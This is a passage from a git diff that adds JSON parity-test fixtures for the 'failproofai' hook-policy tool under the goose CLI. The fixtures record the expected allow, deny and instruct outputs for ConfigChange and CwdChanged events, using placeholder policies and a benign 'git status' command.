"ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..476cd287 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..569cca17 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..24285ba7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8ae64b27 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4b0d0eb7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..853994c0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..765bba47 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..78f96254 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2f109a9e --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3efeffe5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..55d9e38c --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..bfc21734 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c750f194 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e288f458 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..25014bcf --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ffb09d3c --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f7e2ee4b --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c98f6780 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c75316eb --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ 